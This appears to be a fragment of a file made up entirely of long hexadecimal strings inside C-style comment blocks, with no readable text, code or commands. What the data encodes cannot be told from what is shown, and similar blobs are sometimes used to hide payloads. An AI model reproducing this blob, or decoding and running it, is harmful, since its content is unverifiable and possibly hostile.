b08d46be971f1d4a9c6874b15bfd7febbb1d8fb1d82c98229a77e6897c8f83fbd6b0b7ec9c81e2c1369ad3e7fb1170481cd647f59b209c64dabdbec3d7066acbb3c7101b2b2b6168fbbbc750756e87ced10bec31f8c16b7207425f1ffbf064d2380c8b34eaf42079632a783353be8c78e9fc69e87798b01745bead88a426fb73e6f2387f99becd968509cc5df1a099c71bcf2198b849e3ceee92b7ba983616332d20bcf00d7dee0b53917b1686a5d8b2ed8d2e9ee887f84e7d1bb0e7009f14fb85061be081d1f515da7894bbe8eade4b81fe0d50832974ba0581b1a763f2839cfd68078e6419f7f2209e5b65cb981f4c93b9b4f4b029a8d8559648bc1b170d32aba745947bb4e93194944be94cc80dc20ae375914cd4967ea922b8ab9c3e913d0044f84bce6b86f0cd0709907a7c7daf5b0cb26d8baece1f523367cc412b30a4820041e75d634b9af911e1abea6556dc757b65617dfff72ed7be34a7bd15f9425d3cd0c0b3ac4f047db7defe259604a6183fba8c1d3351976a393cbd20da34e41820e6802f3508ea83c6f760c2ab3d0c77d5c4e27fdb181b67ca0cfe35af84e0537104f976b9664899af8dd0dd6a084136f539271c218472141a4b00657c867b1133630ea68c259e9923dcb3ce67b9b04b241edab4bb36e4968315f7c056bde2e319af74683aef15025b82216bae51ece0d99f8b41109fd6262a966d475d97c5c*/
/*a6e10464070c2297037ef02ed0f404010769a514d4d9f742b831e7e2d57d9a4c793ee07e4a208f059fcbab5db584568c76c780a11f4e74a8dee87f29fd58c9f28a6460bc9c7435ec3832e37225256766e62e041423589d15a5fa4c1bc34d10999e4a3cfdbaaf7521af592dfadaacb5b94907e8937d4de9ca8c2f3e16f6c367fdb749cf477e5d1b894a3f0950e32ab21314917e53587c53fa40b4d98e4fd3b65ecab417d3854bc4479059ecdada15de6dd27ab377a673ce304aac68c51aea8b8756e444d79fb0da0cb10bdd7b3fde4a5f14b72f07cd55d8c71eeb06b538bde8ca007846ec966cdd69c04f58f6069d44b6d623eb8729ee2abb0f5f270fc06eacfb032c0e633958f65545a341f9275ebd2812c9e0152110a5067e9ab9cddc6a96e5ff7d2e06cf6d02df9bc6501fab7df90043f7c542387ef8698c1ffe239665b5fd0be9e082888f099d254efbffbabcc496d8833eda7e8901effb2acfa9a4c5e7139f287bac43e2b1971211dc70fee39341f0d579af652a47ecee3d37517a020fdc0f48e3385f3229e87fca0eae6f0e850a026925f402576b546f5a61194c810c696b0f176aceda85ca600e338f4b4c829ec6bf8858dd48bffe9bf48547b5bdd8cfb91fcfa7b35952c28bbb830b67825172e8eaa778c40d80425ea812bd69743741135360b1a5c07626e9c95a9c4c93c5458b6b9cfa00eda1483442d5f86f2524f18a6d0ca2df4110459101fcbd2ba97ef5798e20d68d2ee06f83dd4f1141a96166c125afd5c34e2fe18d7c62315b04b41c3bb1d4f1bb05c332ffdd03b7f5885ebb200c8f302eecd8439e24eeafe5ce792429acdfe6bad1a4c7fddb86619ba3b96e7c892010a879e77f7ee0c22af601db3f1bae090d4d21b7249fa4abd44079320cc6c6a9d89508ef64170c0d9ec218baed76cc38fb2eb89b16fc61c219d1152747efedaef9b723ca7b69dd1a921b94140f0d53ad3ff7b43998d24dde542b955a169ba6bc2ee31e45db3ab05bf20ac7c0e535ce9828e18115a86568d2af0f46a8846e439ba889fbf18b5868741b2c70204d007354982fd1f6fb366cfcff7e36eda2de7e02b9a946e29862640bc67c983a391ebac6d5a679bd0f7bdd65b30ac1f7aa7b53562958fc6103a53e4b586e569b2aa0a17bce6693451658f24ce43424a7ca436602099f44438269e0a9587f140c8e4d36059026725a810f65a9e867f37cd05ba28cdc3c02f6620207930876f4394a2fe5c7604e93f0864f564daf933e824468216479b4c29cba4ef3439a2119d4436080748c9e3e577436ec4ae192d78a95cf1d321126cb7a87217b0f567441aa78163b5f439b1543769697c1e57b94759b58cbae9d66f2859f6c1297eb953d17dc53ec45ace01bd0b64c23c05dd728cf72d3ea6bb8142ccf145d5091f1b66668408bc7630d82c9272eaf64e20f797c1857816f4f9dbb810f50101a7fc20d74a4db7a65d396f704fcef71bebf75554576a330062a9d4982c6ff7f418e3d11c214b49c7a10d6688634242674b8311ba61f695dc42757e22dc14a2877ca2d153366cd896d572bea9e3abe62e9006368483d2b12f0c1d7e3043fb3090e7c4df8529236690e0a9a9ce881c1a38f5cbc1861e64c8b2f6aedc1db0c03d7f8bfd4686e16de1de03f691a68f0adf6c7239ec2042807603f0ee8eb19b7a948f140454d1f66453aae5034c2025baab39382eee52d0de1e0338bb7635f90f185089e4267ef386b250a109dcb90bf3dec75b37ccb8d5b811b1054c58090e3cc3360f7fb8ca5f6d55bad695db4c5bad810fc3b2155d7bd494cbf6f983e905277eba6e3077852d0b832e3b474a195d38687050f23166a6dd020dcb252a03b2212dd76c0715e8fb2cbf894cfde0a828d9f4ae8f6859b7ff98534d92c2d772321c45a4c105903755fa388aa689970619a70e125785b50702fd101978a52a6d1255edab380104d92a462eda8a87ad7ce5ecf341ed23396b0232eaf8b05c16c1121d6103ce29414c3b0c88de187be01ad1e5c9b9c45e77322aaa5a9daa2fb76ab389283f3c4f93159d9442c72644ab0d81020d06e2e8cec06a828d152f50e6fa1b40019f1bf05960c16afbdf6d957ba3c890aaa975ef0842746f094d67a929d8391297c4a3126679034a359af6492ec114ebfe2822dd0aae3460f5a8ea4c5eee73e830ca1fe3c897abe0ac2fa91b20d7474fb7b21b88e40ec1c669c4867150e329c52fff09b56fb807adf4f3f54066066c2c3ec501c06d2a4fbdd69ac43f819ee893fbad77d89bec72c26baa2d8381457d3714a21d5faa923025e6b76c88fb52e9bfe7e74ec6d9ece2c2cb720f059f00e6a5f9616122b451f5e471ecfb4e4f36daec34132ba3fa4bc7a5ff23cfd8ce360006fc8dd3121338fe996513981c572197a4180a57d5ae7d14eb49da918ea6b92e75f973a1bdcd9d911c3aeac20dd1263ebf27d05f8cf6dd8adadd297262512f7eb8fd4a15882068d5f9c46ba2c26c8343cf0516a16c872e20036203063fb15add577c7d28c7f53d2debd480b744dabeaa6ce09c6eea5641f5e2aceb255201c11861a7dbbf47c4061554a92d7b61e9dc6d4f7b391f69f62c299936b2d274ad76c8a1bc204ce6e1ca72b4db616288d9f868044e3bcf637bf77035d6b943da07b818b277c9855ba4b53f755cf78fb7b21c1ec8178e690110a42046769557edb15b3000a0c02558c4bc8340cb43a70311530b426d0bfb32e424d3b6e843d60f73a42444443ecd88c93b5d78d0759f1eee762545e9c7cf3dfe71f9409affdecc6cae5fd6ee45f69831373a5bcf65654fdf90f4c0b098b6b541c7bb1bf*/
/*138a385eca95629330219692e0b91a3d485f28162bd320b298e2c9100072b5a031777ec6f87ffb4332350241081082fed570d5cd0f7ff983ab1f3df0ff536903a9139bc9d1b98b3c1cd49ad7a9e5ce1bcc7c5f659483c7c330b89e6fe5e3fba3e058b7ee09ca9659ee75b87d9d67e8ed9ce3c02d72a57dacfe1a876e90278c5cc25ae2fd7d1724209558e3f7f3b07489c52e48c8b0b46ae8f5b2a45613c12d8839b0b2aa70af2ea19b0a965c15a20c0679918038a98df4aa798910d434d734142d3e7bfefa717c2217b2b26f6a0252ea99a2fbba6741defd17bf21c0a9d2c2a40afc7b59a64c41a7c9b56ef686066b1838d1e1c091edd62be2fed6f387146f51b6f4554c43f187bfdf0a40e1537ed250ffd2438c9303f6cbd72f530ab60f81c6fb79eef8396572d085e0dbbfa757551d0467d546626e80608e13a5d14d527ed3e7b7da9337d09e227a0cbdbb2e58fba53aab7521863074f6ac4d5da0ccabb1d064a3faa9d40c67d34d7090fa7d4e877a8e6134459afc618e472a90f487c9d3d086e7c194293e414adc37d2419ca2a86ebfd0e527d85af814abd45d7aaafaa5f2b6335974abbc09bbf810ee3b4af165ca959bd14af11e8e3978ab430547e3e0c0ee71ac8110a17d3f0aa41acd2adb6da2130ac0cc5160799ddaf11fa428e793fb1af28c1e94b02846b6482371a2d4025402a958444d6e9391d527c2a1e6f101bab7044580d98104d8e761695e0c3bb771ff21b40ed9919faef0855f5b4a26ed6b5f13a6cacb0b29bd41ab454c540a7d59f6b6acb2c9797b44f7713609f1f8a6d8d992b67a26c528a012b9211e77334b8a73c0660f78b9f24afbb76781f3712561a1a55f151d438502a6bbfee62d6f10ad85a0baf194ba070af3e9fc508e9132a9b71c809dfda37139ef2acd1a6b30de4cc4a3865ffa8b8fd3af9db9fe49994c99a55d748f4e617f4c7eb075b13fb9c562251fdfa72b1548b7131f0ee7fdbd23ac5c6c189831a973b20a9b3614f6262c5e841aec0b526dd2f3f9772324fc8e87eb1612f74cc45f8afddf94684be7a481e27ded170d1928ab74b3a843247de2ea02b9036f8b63f7a59da62a9ccb1acebaf888112127f519e7631fd10b25a9e7a84eeda92883386570c9e48e5cea11fdc89d9cf440efc8a95033048a5b305a361d08626b24d9f69c2a7ff6f81163dfc3185c95c576bb90844e50e0e2d2adcc7711e557350f68fa5c01ea5f160f156df40ca8dba57b2a5a623fce96a8e33c81cf7851a2d41b0836ceda822b32aeddfcccbc3649ebb545faa31e348bbc0528f88073086436f9b9b7708aff97c9e5bea67a8a5978d74ac2ea7773857e7ca88d0a17b21390c2d2ba86892ca4f56e36ca5f0705c7ac2321b00c3d50c2288627e2c96e109dcdc64e4f1681a26e5af30dd3ed7f0b96ef770c4a2bad97dfe3eca98d14bf0e59fc7a7eb86df07f2f75dccd63000a00b549fbdef620fce5bcb45a26c98989f37778d9dc85a7e74a68ff34dbe4043257bb29756dbd23a0d6505da248a1ad1842133e8324bcfe37bd3396a000e6ddb44558bce557a3b51d71d1e1b4462da6f2c55b17304c87ec694b50c97f7bb0f6b21c49af16d83a0671d9915216e1bc8fc552014ff1641bec004d3f4c0307fd5c433288131a3cb0ce22cf7b81b79a66bd300b3b9a0f8bb606303fd0a0b4970e20fd6f677840534f2c4c5576113ede58ff6dcdaa6b92de0f8140b4aae668e0c3170337ae2a920f48f22c1e74207d98dd67a436a4ea7d5941e14fdcc8eb6456d1bb780b769dca4c25b0067a712c081cfe3ba3aa1e88bcb80350ccb38e45fb65cc65a10cf1809ec340fcf69b06fe6f73f8381b70048f2853737516a638ec880f132b3459bfbae6ce9fc8ac391516355d123373edfcc010831492b071f8878b3581baffa49b2c36c69ac59d77c4830a9e64e6feed49923b8decb4e7e8181a3128b77acd04c4d4d048ceaf3478097be847d1ee2d1ac7f5318addc361a8b7c4ac2142ca27f07e92c695414469f0613af469ec7a2dc12d0faccf16ff634a1a11d56e4a92535af4765c67f2817a18890601be71704e9c4db178392802af2cf3e00f23541de480e5ea1f7cf84ee1b07e9b3bacf366a58ea06af0681c1804e7b0f0ae125324171534ab73e5a2b267de1d7109d90e2708263629caaba0e362ef937aa2ff302cf166670783f02f138662d707e42bbd2569e8346f87ca08d9b5d816562b4ff5c9c92cd1b958d74121a56ab1402b1d8d143001980ce455092f21d8ad11fcd04bd9f5314a5cd6975c2916dd7e1381bb8442da2497a98742a872412dcfa4627d98b581bdeb7b7bcbf41a8dd72eff3e082932c9e3bf18f178f176d2274d178122ed59d275c421223b762b0dc47ae6f8f7b5337e74af96dac426d5493fcfa381d477da593204b8808434061e70d786a724fcaceb28142c8417a168d612383fdf8540fca2a322ec56e6ebe72348b685dc16c0d6863f349ae54fdaa3b5dbf7811fcc6c95b8924d0681db69b3ba34580e25efe0b6bfd46c282a1a702cc6658924b84b4fe0d6fa36186f6d048ff8813259b2e6099427fb7d1fbde475040a4245dfcdd66ddd3c7efc1fc2e079fdfd9ff75016c77c5d82eadff894e6824a0befca90315af9fb87f454a99ac6b07d93de653e9ddb1fa1d39b596ca970a38ed4306ff4b97639ac066e9ce64dd8279831f5fc571136736702568cea1423738eb3364aef32a749d038945569685e337794ad24b048457f16facc020e480f368ea6430e860bc11a841731e50735213b419a7e5b964962a4a907a1f9ecf3b9260da5ec09c977093df6b9074d*/
/*eec0360089bd9ff01cdd07fbea073d4c09c2e6d69d4877e8f804b7d40256d72cdb27214ffcb7775bf79e9b910cbc632022397e30abce52134078938d9803f29bbe6da9b8de87f574194fca4d02b04c5be79b9f89924888d69e5ea4fe1e6aae61d70875787866be92269388fbcb3ed5f86160a67871fa2950874a39395b390934bc3dcde02134ad4ce9e241aac1701a55f4a7dbed8a872a96c63edf1eace3921bb6592d05ca9054edde337b26b1b6366b8b690ef7f96dba81a5b75925d4db5dfd490293f824bd96b5043724ea9c20d57e3c5144b4aab5875fd1ed8f0036d9e3c925deabb83898882611927e195a1a86264446b59315c9487d69c2228aceae5d1ece0eb59267b1772cbc4e9b7355f3240cccbe49d6085f7aaa0f1e01760179c1526e8079c899bd9799aab01949a7df18cbdf8007d6120d7afeecb33c7a7667351c554a575893022d91627a8a47e7666abbbe924cbf238c64e585be9fe2190e7db0d4d06267b5a98ac8cc85a8cc2a27c7d0842078279776fa925bfa0c6f0fef2de59e42b4d6a54b0b2c42ded692f6525216c4292f6bc50c3e8792e5700ae8b7f0994842f54e017d809462b21919d208a016367fea9c21caee45ef417e0e9583975061a95bbf43815a9bf541fc08097ff6febfb14572a3710c48555b12c364aa40f39ec692391d2230afa1dbcae5001a2ad440bb0aeddc025ff40ad5c6bb82d3fb3fc565be35e00dc6129323c767641e0f6322695bcccd0b516edf43a25dfcbaf85252631da9e559c1b5e4472ef96f0e56854e7841f9e8966bd7d2a28d3a0f8d27286442c9171c733a998c7082f6e49e9986d2639c1cc12233827a466a13b45be1f9b75985d827e09f50dfae02fbf47929505d1c45b32e402bad83876de4158d06df2fd8944349211fafec02688455d9109e02b9d86a762c18af297ab500c9c0668fc3eb1a80566f135e59e90e9235ea62032f2580aa635b966f1a9ecc4a130cffec73893f29c0f5142788e0b55d92fd5fdb624d9c56347ebdffcb58d1681cf09e43785df95bf13cab61835598c2fd25c213c2eefd0fe213f598f912a4bcdcef5d6f5e18d002d849b22cb8c2ed0cff973fec5a91a61ffebd1081c1cdf1d63978a853e87687178bca2ad43d4d66b8aca250935f06d3d0966a3873321391ac4f9d549c6b5aa21ff87f91a5d93044d4cf4fc925d5b531c4b50ed128edbdac3beb9973ab7a9cd30253e6f6beeaef9e1f3594ee63cd70309317e00df5baf4ce018d413cd9258e6ed62c3684a744b1f6758948967a0ce9eae4c1132776aa33e2ad0d3267c4cde87c4c4b3275fb575915e5221f6e47ee3ca25989eda9fb0808f5657aaefaf311c5d92837e788b9f554fa279fc472dbec07dedcff1a9eed0abbcd57a53e0cf6d1f51cbdb78190ecff038becc7dd6a2592138254879b72c05bc8f04aa6d92c7ae79dc1fe6aad32a010c114eb1bc4b8d1f69d4019d268d822ac42a7d5d054e4bb194449fb04b81e2c3196f8e458fc95f19d6deb4291c6f5287bdd6dcf4f309a1daa5dd2871b9ed06dcc9df72d2ec7b688c338349a75ade4772212e277911155f63619c84691ef11bd352b6897b6c35923e08ceb8cce08c099b612c84d2cfcba9effbdd3616e50d3c91077d5be9cc03f48934d78e92accbdc353c5a975123ac1f2e6903d55b6ba1ddf21da08e7a14566edd069ebb530777341e6039434ee3cb7870a5b1daf86c5fc925796c91644b48b52d79184f969d3b6313152c59886e0caf7161dbb62af05d69abe016799a77f1afb2cb74ce4b46e95708a0b84fadb8db21c2c6b3476f30fe76142bf65a221768a5cf673b7aa587dd6a5e18c6868c44de669a3196df224d00860db5f8e940cdd5b8ed20b8dc650175a08eaeb35298718a19c640a136ac26c0ab437072174c2b0eae9814a5f7b65960ee891f7a7a0dc08ec15a87618414af1f26184644efea5f58119123d6bbac7218a8df1f93d8736314757ea9924e9433b3c63371cac322c09773d5e1acd4b4f0177a44fc3f1bc11d86d18b1ccd1f336d2eb1700872a09bc0e26bfdd9f8002161e42ea76fbc7506cd40351122492ae60fa88a4d2a7fe1b944c8eaca70d07f9bef749f95bf53b75cbc9a935ae1bb1dab9e5f157570e1223daa42c5eeff7100d1f93d7235bb155936c5a4ff4e3059c6b2d6a29dbe0f03df792185e3950c64d98c04bc1dd3b776f7ae5125a0bd9ee298e0af030302cfde9de29aa4f51a9236a16ee692cb6fb07833f74069684166a95bb587390e54a3fda8d87e9193d517e717404b3a3b3fb2680821d2a12397ebf169ddc40c613225da0b89cd831d97f2ae031bd84053106d7f2cb9a6ebe31155c33aec7e9d854860d4af99d664678507e1b8af15988e3a398dfdf4bff6e451768748155ea80d9bdf5e6acd9b51645cf3ca21fda0c1a39135e88cf5466200faa16d1c18e2f2241e86725d16e400905e96a27865c0ddf674d346e805a021beef2441941ff64f9992b4d35628c905f736828411ec41680c20ea14325de22b0967327d639e4da9a15e50077ce01031c42a668d1ae7f3cfc21be391635dbb39a66324eb4e89b2ac315fb8a8cc59b4bb2011104c97ef14cbaa3817e14f3c752630c6d9a107cc0be4c994e5db4098de9436e8da6767b0a57053dbf3432e822369d3d3764be29073f8fe23f56d09c3404c91bc73fceb9fc128f69f254bdc34bd8f4afa30de8b249b710fff8b02a09329ce27f9863bc8a6ae54b5556d0948ea776451521117981b18f954fd57102b7974318dd8a90870602b2f01aea4a54b2ac863289e54618883cf5650918b47d9c64be4f2a*/
/*b7f49887656c5fc1aeab8f25a6eea8caf78e63b321aae0af6952fb80248946ed26afe8a13ef79a64fe66e587d0078ce0215906419518949c47c400429f32cf1230e10f1b2c4e85cb3c7171f5611c00e510ad8e1949c2a124eacde1692790c4e3fcf25ba4053021f1fdd0a407aeb2ab369780651ec7096b6b02ea4c40c5884341d4701990b12380d25e0fd3db46274823085875743c80e195a23ea2397a61918a73d1ed750cc5395a2a7a16d2e5a6cccfc52e4a8421ac392b0b8874e901d3962099c024601459b39f982b8673d744a8e1182be3c92f0a2b350da769e553e0dffa23265d31a72ecb312a6e2a03053423ce60a678b86254dc1729c3cd10974a5985cffebd7346258e3fa4db09ac9821fc7633c1aeae5be976e96b807732a69a0fc7ba12c9be1eef265dea459a7d9b5e63b52c033d67861a4c181e0464522aa287ff762f01603d7078c290cb9673cdd9837c7fca701cd8b50920a9f6114aa68d4cd1ed5c3158d4184f9490455b1748902d75f32e10d30ead020f50d3f1bb99f1972e64a9dc82ed7927371cb0723f06b3b290f303f9b5100b78ea23c909e16faa9f676ed437df0609d41e5de597f6829f1bbc4f4ba9da4b4faab58bf696d454eaf863e0ccb8c9dd198ed37f34adaab53467a20e9ecd9269f07c8669a87f633b6d53d98f8827bc1fc6d882ff6191b15c7ae207b2306f0c1b26cdacf4cecc827987cade730b446ab4fe0baa6afa9fd9b9b617af9a0fb435f9c4fa195525fcd114e4e742ba45dd79c1fb52ab1e4c44be5875be8d566dc62c852b2a2bbb6102c953d73c21a9d7796f9bf40bd207b093b024430cf72dc195c683783a01e5eecd6ffef7ce0179257a611090ad00a9e9358d26be85e4505762c5eba13c9cace40aef02c7f094bbf82dc47160f1814ae11c7160d219e3ca9c164cb56a1337401837b0ae74d02f2f667f991e6794fb20c77167dd420125a61d0acfafa28175b3107c517b0703716d1311b789876d282ec477856f6873d2ac721af494a1288cf2b82b5af506ae979de8c827cf90adcb47f27f02a3d2ea70942063edfb269c3b8417d8b46127ccbae298272e60152620454acc42a23d0059530cc3fd0ea4eb9ba99cff734904fddc4a6a4e8b034014838b770b526dee2a7ac676994291d6caa4874647d0f241f965e013ae9a494591f1fadab131924186d7961244e0b4b09537a08f51bcc31afc70c98bcd6eec1406b4e8716f2ccf85723727c54a719bfeddfabe3dd78907849d96d26d932180bc40c2925a76c3e2278b157e268987261d984238036fd50bed2270ca3246b033b434e7e9aa4299106603b14dd26fa437f52133e010e47bd56bad1a064fdf0a4665837fdf87ba2b23bd83d7dac3136a36c001a16c9908125be02b26943d86a90bb622cf5c4c373d54bb6a165ce697769fe11203887e27bb0e6b0faef3e8deee2a1f66449a5528bb9b9fdb267b6464c32bef89c844e5d67becad6d2d38bf71dfe6f8ebb2c42d6229c9ca01b82d8235d62484bd61898bc837ed1fcf9d8e718813d0972c99d518792c62e2aeaccdc8b69da18336b75482becf06b319a340a4a16e2c13f57ce44b98dee0609fa88830e15be3a32e0db2e3183d823d8273cba5338d917a8f53acae0e7e9720ce1d0c608e88f2c8e6bc79b695dca45decf2b90a74cd1021874e0d7bb57ee0d794893663539c70f8e37af056e5a37e45551a5cc8bedd586e40765ba6f1c6c39b911548e1e1ee9021c5b5685424f477d37503241ebd8a0c03c8cb1f242c629947e5c59cfb0dce731a2e8f6fa33fc399059047c3404541d2a5e55683d22ebcf1369c087f77aed7b119f005716242fe8be0f7b17943f0d2d017847e1ec224f2cbaf3e38f5f38ab539f47739600a0ffc50778d750ce91abe79cfe39cf2b19ba5caf700e7316b0fb4b71c4d5fe941306c529952036bbd2966868902cb4d4236f1d15c1dd7f6378a8d3f933113653368e6bea4cb5a827dd09b413aef48454b7dee46d2a492834f9089e747042f153e9500906debb4bffb81238995edae3131da7135e6e76cfc2d28a5c9c699167c168547a621ee531b7db34411049682e2bf5ced2d76c2a99daec4cb5565903c1017f94322818e6b962266abe9f98e372e35248f72c2ae7d0ebc34abf7408dd8d65040d80d9e8dd80512f2dd51b4dae130e32e00b2ae20e223973562bb6940a5dfce54614c26e6f2872c59042fee1d113ef12f5dc351908e6362e53c90f71e3e635f74095a6a0377f3c46186f5ba228206a50edd092a2d2f08e4f868a663016c36e9088eebe4b10184e5cb8ba759ad2f8fdda1b64fff6fcb539829c06ca0975c74916ffc065a02b3685878a9528433abaa20390124957a825e1102f3f27552164a2c76c97da89245c154b0addfca5c3412d4ed08898527501c5ae70292c5e19ee5a41561137e833c685bd629c0cb7d2f150c124cbe01f0bba1f6b59d3925fa486d8d16167eb4ab76f0c496025ea5bcd27798d2466680d98cde994d52f8c6036a13e93463bc013b5f02b99739923bbc960bc7257cd3df702fbef7b2ac33b69b97986cb3ca25574896c43380d700beb776f1ee93a7fc4d44395ac72f9243e195e0485919b1386559a97bca4cd8a6ee56e62b0ab887aa22fba14aba7122a3caa8aa2f5f5e45f6cf952ba63c2c9852f6e00ec98fa36fc51d8f7c17a4dc41529cb28c841a7a18e1a6005b41beacdbe8413bfc66beccc3adadc0da013c6e27f0512bda122a2c569cf7424edd3a06b0e0e665355391cabd5544eccd997355db184cf7039b8753777f36da1624e1e084ac8878358587d058a8c2f7ea*/
/*ea1bb67eda4ad911654f1e39b83436b6329311f4de817dd452a1a58c80bf5213033b98d600b7f737dd36e2f073a165dee053cb4e458da6a42a8a0655cd124e7ac6652d4dd30982823e9f239141af862cde0bb2c04ac1d40d06724678f98a224d62bfa0376a2081b2332ec9f9f3a9cbc3b51adb8225e89c4eb45f87bca6ab7c0132c64c3c66977bb3a3799921fc373723ca47db51b2cd46dc832b57b718fb476e734e246f048066eeb1999d5a0d4cbc13f20b13f29e87cc7dfa773e946daa15b06e8d9983de09d6b3c1f819001f26bd44c2fa524eb892bccb98da910d5b411753e15adf845642ec9ba9f9043a7cde2161bec651de308f4b7c8f36ea16470f51195f1670f68516138c95f7b616022c141db0452fe572d7716f367d43ce2d37632bb78d5d9a64cd2b28825dfb40b057499cc1cc1e4c300b65205ad4e6a5b70b9732c7f742fdd0c02a78b21c99fafc99711bf729976fcd15cac14717f51122ba4f67d1dcb9476a34b3e3be06464b9dce40e1687eeabb4e9607a759d3d916d500dabcfdd236aab7c03bf30f12c7a3cac940847dd6e7b2f1ac1aa2ac47670e66f433a15e427981b8b5eed9e97d5af09c8e8d4a6bbe092b4c06c9e4445708d08e31ea2fbf6600f51e85f6f6d98775c8c73039bbc46879bf4ac55fec3dbc6f990e8c12aeba3fb3079753f3220666ae2d5c50e9b9ff9697a92117d2119ff968324b1e33efcc408095f3b1b7eeea9ed59963197cea08cd9a29b613db28ad721a074565e0af32d7c909802284dabea9eaa3bdf935d6233acafde5fca3b8e9f1cf66adad8af84b1f48dec78ead697ad53c1014bd4365bfd5913b4833e4f800cb7ac96542dc4fd6e2488f983a8bcee29fdcd3a609401e3271b45cebb4dde1425c7e5836eec29ac46c2ecbb9a4340488b677cd2c4c4216b8fba47136a96ea8c4945f52cdf3e06df44616774edf973ca778e07fd876dccf6b0580810b5baa6a1897195e255f0e435cde6eec5ff30c51ce1d1346b0c886d42dcbd6ea13563e99ce8ae0585fd21e3097f771e6e08a58da3358f644e3ac11211633fbc18b47221862590d72746ddde6ff50b37a453b8109791809ca69f79d8c2826fe5fbddd20ff71738ba17665685215bb0984ab90738347bf64b1980c0956ba3de8b3ff3295d3281f7d866e7c758366a334e2b80b78b5d827626fe468b969a72cb568c8799560ffe6b45f4024f6005d7c4ce73dd884b8b7f728eae9b98bd8f5c99a1b9d4b0affbba62fa6eed2e71a31a01f43446f2ec883a75c55d112cd33d2c89151fbc4efb71bc6635c5bab36da27a7556c99ced1c05ff9f99b30f41fa04243699d595ce18fffb1b871e707f0980cb4a6642faa22638b957c48ae23c938c27a3d36a8dc73f04443e6bffd954efcdf24524a560092de89d66dd2cc05d298a1cb3b65b6b56ed1e4892287a7717186f5ae31e5f790d09232c00e0da702a5e3bec91f5a840db3392c8c2517793deba5b599d5e48c2c6b4b37e74bf115d8921cbd72c6a2a971be4086a838a36ab241628339ad0033c679a97f1d16df6158f3ef126236f7886990208e451a5be72ab0899a5e1aacab692c54351eb39669bbf5deea5be3e4f1ecc0aa9dcc8e83263ba5e037ebdd1474ce71f9bf7338bf9cc5543234cd5059a5f641de1f690599d4502c9395f6df7d602b6dc3089a191d672cebebcdbb19135a30f7f9f346ed36a0e77d7a862e7cedc5bfaa4a0aceae5a921e69b4014178a3b5a718a5b7ebf805baa21d0f7b4f43f175c017b670eb5a76cdf8d4e6f83ddcc82302fc945f5127361ff5565f05ed0c341151282b3f27c82804178cf67703060af6951a629c84f1d48ed4fe74adc379f3bb164884aa59e34be45999eda3da7cf15caa2b893042a2225954b796f713c3c24fd2d3b1cf015f021bb59edb768f4f626fdba00925851949a0b9b272b6f12d7e75a590d72989a957c54d280d5186606e09c12174a4a7199b90689d2033149ebbe0b0488966a60d6ccc6dea1fb6bf462e1bef6543b1d09f678623c3228df59f52c20ce7c742baf57d26a37c60c745f8817f52e7176c711bfca743f731151105d432160cdee9ab2d1030608200a680dc8ba331e20e429dc5efcf72969092af165bc7cf1c048ce59e0f346283fa876d67e0346e0adce5f56600228a33bba926e8d6bd6632fe446879428dd8f8cc33bff13869986494d8a0c4a7866b2a952acd6622eae7986c417fdcb054154b580eb855590a4fd7bb51ed34f2b289afc79861325a03817096b8118292a9025c191efb710f3ff44bd287fa568463fbbd543b37eb16f78feb42998c55ebd69df00a652440d5a2a39b62334517baa31581251043383b23c3293789f415f2161d6fb08ab6acc430def6e99be1cae6edaddb64b273df83e86aa06ec3b407c8a0540de7226397470b1fe670d8401694b833c7fdb35536bca4c8ac713742bdd4db69401928c11b1e5f86b63a4ed7d765fb0d30554d053e7d094f1c45bbca5f1f9a31a0dd9b64232686ca34c69982cca9d9b438b0cb3e585a33da440b0e828c11d49371c9a2a767dd665f419e4350386256ff15100d82b0ff978c3764093d5ce54c8ecbc3bcb62ab77b01bff065ceee06965c6bd3f7eadb02c09a9206a541094e3b81e490b268de807ff8f567bfb40c3530e56104a5656e86a44b58a2960658212b54d9da9ea2262f3644f1d0fe06f8f39135b68a3b10b7e79e6a8e77cffcab6d1abc41df214488483c1c8412853e9223ef8ac6a83e8ff70b87be5d6b2af7c135fec7837dfb85eff7c7f59334039c0a6f0a0a433f78b828c8b89ae6bb1686544da9f6c8d2*/
/*caf85e58c7d04682c5239b42bc63cd1220f0e9e7fccf42fd392153a50bbf84408215284fcc7055d7a46620ada5f91e0526985d9714a9dcd3ab6c5dd92ab9ad9aad6c46b10200f7ccb909f2c884b127f4677481e0a214cedcdfa7ef047b57790435239b04bc22de2517d9c0ddfdc68b152d4abcaef534fc1c49961f30be5755758a89e259207b6fd3b4d542a95bd6f0f2267408d900e45e50ace57b124c68d77a83a29fd1992f4614f554e1aec62edf7fb7f003da908410c4015da1474269f7a190941252ba82120e95cf2e92650876e657e295a169c284da14f194fd81531378e9aac9791f03c83d2ab2b2b4b14c80fbccd21add8d2fae44f60f8931176c37b7bbe17bdaa709abf628aa956298804d99883dd78791ef4ffa90efb2aa43228bddfe06baf0fb0cabe37178cd2fc2eedbea47714223cd3209bff3965ef242721e70ea8cb488b92fa681d42a086d242a85017dbc1e13735416ad0a839ed4b488ee099c52846a457321a5df1b04ab49241fe40d0921552d365133527a44662699cb6cc30a20dad44a1479fbdfdb49016453531f28f20e40ff3d3454191b8a90b2c4cfa263c7e5d8ed0ca25dede79adfffb752977af55a87403abd6f6005f4a07623fbf916b2594efb400fa280a6ced0a8ef92c3e402f3d9b138a7f4da445f5cc72c01fa7875fcafbe11601a829356f1996a8c32f4fe9e5fb8b3eb2fb04c8a5ec742df2b2196ae1241310e164883d4dda67d388e13ee1283a4d8d70de66e8c70538afb5e23f8b6e4dba29efaf512bf5932ae60075616566363531ace14f4a2b3ba923837fa19e9eb8ded96116b154e9da7c3951ef95e8feae394256ff4c4c58b5e7e6d70217befb895614381685911db0ff6236bab66e97541253b8bcb1aa4e680a39affefe47d69a5c007ab7f7925f13b75539b52f1f358df28759cfe9d86282230c160dd3e9efa9a0ae3c12947fe68eb29a69279eac95dbdd442f81dd6bf786e1c58db8bcb11e424d23467e37794600f59ed52d62336d38553eb3ae80fd4d122a6775b752b580c4b0474d5c09d4a77b46fe6f5b3072990d496c6fb2b57f0e97829511d989b6adfda8839d7742a25e0a4715766834e23d397e1960c85370e5edbb9d886065ea63a1c94826289d532b2f6d0c7a5de49a0cd2e99d9d07b01368a1c40a4bde01c1fc6440430aa092d8048c4d0d097b6a16053a65a223f46bd652f7e2a8a3a5da141f89078f1566e3f894be6bb42be5955b3f6240861c56bd2fab3b1692ef2f753a83613146411de6213adc71174ea0050f7cc02395a1d5db46afd20e8b8397a03b0c7c6360550f9100a81b735829b2b2ed44aed22393ff30385da65dfaedd95085b0b723802ae85d057cfd0bf99485c1669bb47fbaa311b1b487f528c1bd3675d827a9411163a8446e